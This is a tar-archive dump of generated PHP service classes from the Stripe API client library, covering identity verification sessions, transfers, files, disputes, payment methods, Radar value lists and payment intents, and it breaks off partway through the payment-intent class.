�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/Identity/VerificationSessionService.php����������������������������������0000644�����������������00000013446�14720677707�0021521 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Identity; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class VerificationSessionService extends \Stripe\Service\AbstractService { /** * Returns a list of VerificationSessions. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Identity\VerificationSession> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/identity/verification_sessions', $params, $opts); } /** * A VerificationSession object can be canceled when it is in * <code>requires_input</code> <a * href="/docs/identity/how-sessions-work">status</a>. * * Once canceled, future submission attempts are disabled. This cannot be undone. * <a href="/docs/identity/verification-sessions#cancel">Learn more</a>. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Identity\VerificationSession */ public function cancel($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/identity/verification_sessions/%s/cancel', $id), $params, $opts); } /** * Creates a VerificationSession object. * * After the VerificationSession is created, display a verification modal using the * session <code>client_secret</code> or send your users to the session’s * <code>url</code>. * * If your API key is in test mode, verification checks won’t actually process, * though everything else will occur as if in live mode. * * Related guide: <a href="/docs/identity/verify-identity-documents">Verify your * users’ identity documents</a> * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Identity\VerificationSession */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/identity/verification_sessions', $params, $opts); } /** * Redact a VerificationSession to remove all collected information from Stripe. * This will redact the VerificationSession and all objects related to it, * including VerificationReports, Events, request logs, etc. * * A VerificationSession object can be redacted when it is in * <code>requires_input</code> or <code>verified</code> <a * href="/docs/identity/how-sessions-work">status</a>. Redacting a * VerificationSession in <code>requires_action</code> state will automatically * cancel it. * * The redaction process may take up to four days. When the redaction process is in * progress, the VerificationSession’s <code>redaction.status</code> field will be * set to <code>processing</code>; when the process is finished, it will change to * <code>redacted</code> and an <code>identity.verification_session.redacted</code> * event will be emitted. * * Redaction is irreversible. Redacted objects are still accessible in the Stripe * API, but all the fields that contain personal data will be replaced by the * string <code>[redacted]</code> or a similar placeholder. The * <code>metadata</code> field will also be erased. Redacted objects cannot be * updated or used for any purpose. * * <a href="/docs/identity/verification-sessions#redact">Learn more</a>. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Identity\VerificationSession */ public function redact($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/identity/verification_sessions/%s/redact', $id), $params, $opts); } /** * Retrieves the details of a VerificationSession that was previously created. * * When the session status is <code>requires_input</code>, you can use this method * to retrieve a valid <code>client_secret</code> or <code>url</code> to allow * re-submission. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Identity\VerificationSession */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/identity/verification_sessions/%s', $id), $params, $opts); } /** * Updates a VerificationSession object. * * When the session status is <code>requires_input</code>, you can use this method * to update the verification check and options. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Identity\VerificationSession */ public function update($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/identity/verification_sessions/%s', $id), $params, $opts); } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/Identity/IdentityServiceFactory.php��������������������������������������0000644�����������������00000001346�14720677707�0020650 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Identity; /** * Service factory class for API resources in the Identity namespace. * * @property VerificationReportService $verificationReports * @property VerificationSessionService $verificationSessions */ class IdentityServiceFactory extends \Stripe\Service\AbstractServiceFactory { /** * @var array<string, string> */ private static $classMap = [ 'verificationReports' => VerificationReportService::class, 'verificationSessions' => VerificationSessionService::class, ]; protected function getServiceClass($name) { return \array_key_exists($name, self::$classMap) ? self::$classMap[$name] : null; } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/AbstractService.php������������������������������������������������������0000644�����������������00000006030�14720677707�0015474 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe\Service; /** * Abstract base class for all services. */ abstract class AbstractService { /** * @var \Stripe\StripeClientInterface */ protected $client; /** * @var \Stripe\StripeStreamingClientInterface */ protected $streamingClient; /** * Initializes a new instance of the {@link AbstractService} class. * * @param \Stripe\StripeClientInterface $client */ public function __construct($client) { $this->client = $client; $this->streamingClient = $client; } /** * Gets the client used by this service to send requests. * * @return \Stripe\StripeClientInterface */ public function getClient() { return $this->client; } /** * Gets the client used by this service to send requests. * * @return \Stripe\StripeStreamingClientInterface */ public function getStreamingClient() { return $this->streamingClient; } /** * Translate null values to empty strings. For service methods, * we interpret null as a request to unset the field, which * corresponds to sending an empty string for the field to the * API. * * @param null|array $params */ private static function formatParams($params) { if (null === $params) { return null; } \array_walk_recursive($params, function (&$value, $key) { if (null === $value) { $value = ''; } }); return $params; } protected function request($method, $path, $params, $opts) { return $this->getClient()->request($method, $path, self::formatParams($params), $opts); } protected function requestStream($method, $path, $readBodyChunkCallable, $params, $opts) { // TODO (MAJOR): Add this method to StripeClientInterface // @phpstan-ignore-next-line return $this->getStreamingClient()->requestStream($method, $path, $readBodyChunkCallable, self::formatParams($params), $opts); } protected function requestCollection($method, $path, $params, $opts) { // TODO (MAJOR): Add this method to StripeClientInterface // @phpstan-ignore-next-line return $this->getClient()->requestCollection($method, $path, self::formatParams($params), $opts); } protected function requestSearchResult($method, $path, $params, $opts) { // TODO (MAJOR): Add this method to StripeClientInterface // @phpstan-ignore-next-line return $this->getClient()->requestSearchResult($method, $path, self::formatParams($params), $opts); } protected function buildPath($basePath, ...$ids) { foreach ($ids as $id) { if (null === $id || '' === \trim($id)) { $msg = 'The resource ID cannot be null or whitespace.'; throw new \Stripe\Exception\InvalidArgumentException($msg); } } return \sprintf($basePath, ...\array_map('\urlencode', $ids)); } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/TransferService.php������������������������������������������������������0000644�����������������00000014117�14720677707�0015522 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class TransferService extends \Stripe\Service\AbstractService { /** * Returns a list of existing transfers sent to connected accounts. The transfers * are returned in sorted order, with the most recently created transfers appearing * first. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Transfer> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/transfers', $params, $opts); } /** * You can see a list of the reversals belonging to a specific transfer. Note that * the 10 most recent reversals are always available by default on the transfer * object. If you need more than those 10, you can use this API method and the * <code>limit</code> and <code>starting_after</code> parameters to page through * additional reversals. * * @param string $parentId * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\TransferReversal> */ public function allReversals($parentId, $params = null, $opts = null) { return $this->requestCollection('get', $this->buildPath('/v1/transfers/%s/reversals', $parentId), $params, $opts); } /** * To send funds from your Stripe account to a connected account, you create a new * transfer object. Your <a href="#balance">Stripe balance</a> must be able to * cover the transfer amount, or you’ll receive an “Insufficient Funds” error. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Transfer */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/transfers', $params, $opts); } /** * When you create a new reversal, you must specify a transfer to create it on. * * When reversing transfers, you can optionally reverse part of the transfer. You * can do so as many times as you wish until the entire transfer has been reversed. * * Once entirely reversed, a transfer can’t be reversed again. This method will * return an error when called on an already-reversed transfer, or when trying to * reverse more money than is left on a transfer. * * @param string $parentId * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\TransferReversal */ public function createReversal($parentId, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/transfers/%s/reversals', $parentId), $params, $opts); } /** * Retrieves the details of an existing transfer. Supply the unique transfer ID * from either a transfer creation request or the transfer list, and Stripe will * return the corresponding transfer information. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Transfer */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/transfers/%s', $id), $params, $opts); } /** * By default, you can see the 10 most recent reversals stored directly on the * transfer object, but you can also retrieve details about a specific reversal * stored on the transfer. * * @param string $parentId * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\TransferReversal */ public function retrieveReversal($parentId, $id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/transfers/%s/reversals/%s', $parentId, $id), $params, $opts); } /** * Updates the specified transfer by setting the values of the parameters passed. * Any parameters not provided will be left unchanged. * * This request accepts only metadata as an argument. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Transfer */ public function update($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/transfers/%s', $id), $params, $opts); } /** * Updates the specified reversal by setting the values of the parameters passed. * Any parameters not provided will be left unchanged. * * This request only accepts metadata and description as arguments. * * @param string $parentId * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\TransferReversal */ public function updateReversal($parentId, $id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/transfers/%s/reversals/%s', $parentId, $id), $params, $opts); } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/FileService.php����������������������������������������������������������0000644�����������������00000004333�14720677707�0014614 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class FileService extends \Stripe\Service\AbstractService { /** * Returns a list of the files that your account has access to. Stripe sorts and * returns the files by their creation dates, placing the most recently created * files at the top. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\File> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/files', $params, $opts); } /** * Retrieves the details of an existing file object. After you supply a unique file * ID, Stripe returns the corresponding file object. Learn how to <a * href="/docs/file-upload#download-file-contents">access file contents</a>. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\File */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/files/%s', $id), $params, $opts); } /** * Create a file. * * @param null|array $params * @param null|array|\Stripe\Util\RequestOptions $opts * * @return \Stripe\File */ public function create($params = null, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); if (!isset($opts->apiBase)) { $opts->apiBase = $this->getClient()->getFilesBase(); } // Manually flatten params, otherwise curl's multipart encoder will // choke on nested null|arrays. $flatParams = \array_column(\Stripe\Util\Util::flattenParams($params), 1, 0); return $this->request('post', '/v1/files', $flatParams, $opts); } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/DisputeService.php�������������������������������������������������������0000644�����������������00000006031�14720677707�0015347 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class DisputeService extends \Stripe\Service\AbstractService { /** * Returns a list of your disputes. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Dispute> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/disputes', $params, $opts); } /** * Closing the dispute for a charge indicates that you do not have any evidence to * submit and are essentially dismissing the dispute, acknowledging it as lost. * * The status of the dispute will change from <code>needs_response</code> to * <code>lost</code>. <em>Closing a dispute is irreversible</em>. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Dispute */ public function close($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/disputes/%s/close', $id), $params, $opts); } /** * Retrieves the dispute with the given ID. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Dispute */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/disputes/%s', $id), $params, $opts); } /** * When you get a dispute, contacting your customer is always the best first step. * If that doesn’t work, you can submit evidence to help us resolve the dispute in * your favor. You can do this in your <a * href="https://dashboard.stripe.com/disputes">dashboard</a>, but if you prefer, * you can use the API to submit evidence programmatically. * * Depending on your dispute type, different evidence fields will give you a better * chance of winning your dispute. To figure out which evidence fields to provide, * see our <a href="/docs/disputes/categories">guide to dispute types</a>. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Dispute */ public function update($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/disputes/%s', $id), $params, $opts); } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/PaymentMethodService.php�������������������������������������������������0000644�����������������00000012654�14720677707�0016520 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class PaymentMethodService extends \Stripe\Service\AbstractService { /** * Returns a list of PaymentMethods for Treasury flows. If you want to list the * PaymentMethods attached to a Customer for payments, you should use the <a * href="/docs/api/payment_methods/customer_list">List a Customer’s * PaymentMethods</a> API instead. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\PaymentMethod> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/payment_methods', $params, $opts); } /** * Attaches a PaymentMethod object to a Customer. * * To attach a new PaymentMethod to a customer for future payments, we recommend * you use a <a href="/docs/api/setup_intents">SetupIntent</a> or a PaymentIntent * with <a * href="/docs/api/payment_intents/create#create_payment_intent-setup_future_usage">setup_future_usage</a>. * These approaches will perform any necessary steps to set up the PaymentMethod * for future payments. Using the <code>/v1/payment_methods/:id/attach</code> * endpoint without first using a SetupIntent or PaymentIntent with * <code>setup_future_usage</code> does not optimize the PaymentMethod for future * use, which makes later declines and payment friction more likely. See <a * href="/docs/payments/payment-intents#future-usage">Optimizing cards for future * payments</a> for more information about setting up future payments. * * To use this PaymentMethod as the default for invoice or subscription payments, * set <a * href="/docs/api/customers/update#update_customer-invoice_settings-default_payment_method"><code>invoice_settings.default_payment_method</code></a>, * on the Customer to the PaymentMethod’s ID. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PaymentMethod */ public function attach($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/payment_methods/%s/attach', $id), $params, $opts); } /** * Creates a PaymentMethod object. Read the <a * href="/docs/stripe-js/reference#stripe-create-payment-method">Stripe.js * reference</a> to learn how to create PaymentMethods via Stripe.js. * * Instead of creating a PaymentMethod directly, we recommend using the <a * href="/docs/payments/accept-a-payment">PaymentIntents</a> API to accept a * payment immediately or the <a * href="/docs/payments/save-and-reuse">SetupIntent</a> API to collect payment * method details ahead of a future payment. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PaymentMethod */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/payment_methods', $params, $opts); } /** * Detaches a PaymentMethod object from a Customer. After a PaymentMethod is * detached, it can no longer be used for a payment or re-attached to a Customer. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PaymentMethod */ public function detach($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/payment_methods/%s/detach', $id), $params, $opts); } /** * Retrieves a PaymentMethod object attached to the StripeAccount. To retrieve a * payment method attached to a Customer, you should use <a * href="/docs/api/payment_methods/customer">Retrieve a Customer’s * PaymentMethods</a>. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PaymentMethod */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/payment_methods/%s', $id), $params, $opts); } /** * Updates a PaymentMethod object. A PaymentMethod must be attached a customer to * be updated. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PaymentMethod */ public function update($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/payment_methods/%s', $id), $params, $opts); } } ������������������������������������������������������������������������������������stripe-gateway/lib/Service/Radar/ValueListService.php�����������������������������������������������0000644�����������������00000006263�14720677707�0016702 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Radar; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class ValueListService extends \Stripe\Service\AbstractService { /** * Returns a list of <code>ValueList</code> objects. The objects are sorted in * descending order by creation date, with the most recently created object * appearing first. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Radar\ValueList> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/radar/value_lists', $params, $opts); } /** * Creates a new <code>ValueList</code> object, which can then be referenced in * rules. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Radar\ValueList */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/radar/value_lists', $params, $opts); } /** * Deletes a <code>ValueList</code> object, also deleting any items contained * within the value list. To be deleted, a value list must not be referenced in any * rules. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Radar\ValueList */ public function delete($id, $params = null, $opts = null) { return $this->request('delete', $this->buildPath('/v1/radar/value_lists/%s', $id), $params, $opts); } /** * Retrieves a <code>ValueList</code> object. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Radar\ValueList */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/radar/value_lists/%s', $id), $params, $opts); } /** * Updates a <code>ValueList</code> object by setting the values of the parameters * passed. Any parameters not provided will be left unchanged. Note that * <code>item_type</code> is immutable. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Radar\ValueList */ public function update($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/radar/value_lists/%s', $id), $params, $opts); } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/Radar/RadarServiceFactory.php��������������������������������������������0000644�����������������00000001434�14720677707�0017346 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Radar; /** * Service factory class for API resources in the Radar namespace. * * @property EarlyFraudWarningService $earlyFraudWarnings * @property ValueListItemService $valueListItems * @property ValueListService $valueLists */ class RadarServiceFactory extends \Stripe\Service\AbstractServiceFactory { /** * @var array<string, string> */ private static $classMap = [ 'earlyFraudWarnings' => EarlyFraudWarningService::class, 'valueListItems' => ValueListItemService::class, 'valueLists' => ValueListService::class, ]; protected function getServiceClass($name) { return \array_key_exists($name, self::$classMap) ? self::$classMap[$name] : null; } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/Radar/ValueListItemService.php�������������������������������������������0000644�����������������00000005002�14720677707�0017507 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Radar; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class ValueListItemService extends \Stripe\Service\AbstractService { /** * Returns a list of <code>ValueListItem</code> objects. The objects are sorted in * descending order by creation date, with the most recently created object * appearing first. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Radar\ValueListItem> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/radar/value_list_items', $params, $opts); } /** * Creates a new <code>ValueListItem</code> object, which is added to the specified * parent value list. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Radar\ValueListItem */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/radar/value_list_items', $params, $opts); } /** * Deletes a <code>ValueListItem</code> object, removing it from its parent value * list. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Radar\ValueListItem */ public function delete($id, $params = null, $opts = null) { return $this->request('delete', $this->buildPath('/v1/radar/value_list_items/%s', $id), $params, $opts); } /** * Retrieves a <code>ValueListItem</code> object. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Radar\ValueListItem */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/radar/value_list_items/%s', $id), $params, $opts); } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/Radar/EarlyFraudWarningService.php���������������������������������������0000644�����������������00000002761�14720677707�0020355 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Radar; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class EarlyFraudWarningService extends \Stripe\Service\AbstractService { /** * Returns a list of early fraud warnings. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Radar\EarlyFraudWarning> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/radar/early_fraud_warnings', $params, $opts); } /** * Retrieves the details of an early fraud warning that has previously been * created. * * Please refer to the <a href="#early_fraud_warning_object">early fraud * warning</a> object reference for more details. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Radar\EarlyFraudWarning */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/radar/early_fraud_warnings/%s', $id), $params, $opts); } } ���������������stripe-gateway/lib/Service/PaymentIntentService.php�������������������������������������������������0000644�����������������00000027527�14720677707�0016546 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class PaymentIntentService extends \Stripe\Service\AbstractService { /** * Returns a list of PaymentIntents. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\PaymentIntent> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/payment_intents', $params, $opts); } /** * Manually reconcile the remaining amount for a <code>customer_balance</code> * PaymentIntent. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PaymentIntent */ public function applyCustomerBalance($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/payment_intents/%s/apply_customer_balance', $id), $params, $opts); } /** * You can cancel a PaymentIntent object when it’s in one of these statuses: * <code>requires_payment_method</code>, <code>requires_capture</code>, * <code>requires_confirmation</code>, <code>requires_action</code> or, <a * href="/docs/payments/intents">in rare cases</a>, <code>processing</code>. * * After it’s canceled, no additional charges are made by the PaymentIntent and any * operations on the PaymentIntent fail with an error. For PaymentIntents with a * <code>status</code> of <code>requires_capture</code>, the remaining * <code>amount_capturable</code> is automatically refunded. * * You can’t cancel the PaymentIntent for a Checkout Session. <a * href="/docs/api/checkout/sessions/expire">Expire the Checkout Session</a> * instead. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PaymentIntent */ public function cancel($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/payment_intents/%s/cancel', $id), $params, $opts); } /** * Capture the funds of an existing uncaptured PaymentIntent when its status is * <code>requires_capture</code>. * * Uncaptured PaymentIntents are cancelled a set number of days (7 by default) * after their creation. * * Learn more about <a href="/docs/payments/capture-later">separate authorization * and capture</a>. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PaymentIntent */ public function capture($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/payment_intents/%s/capture', $id), $params, $opts); } /** * Confirm that your customer intends to pay with current or provided payment * method. Upon confirmation, the PaymentIntent will attempt to initiate a payment. * If the selected payment method requires additional authentication steps, the * PaymentIntent will transition to the <code>requires_action</code> status and * suggest additional actions via <code>next_action</code>. If payment fails, the * PaymentIntent transitions to the <code>requires_payment_method</code> status or * the <code>canceled</code> status if the confirmation 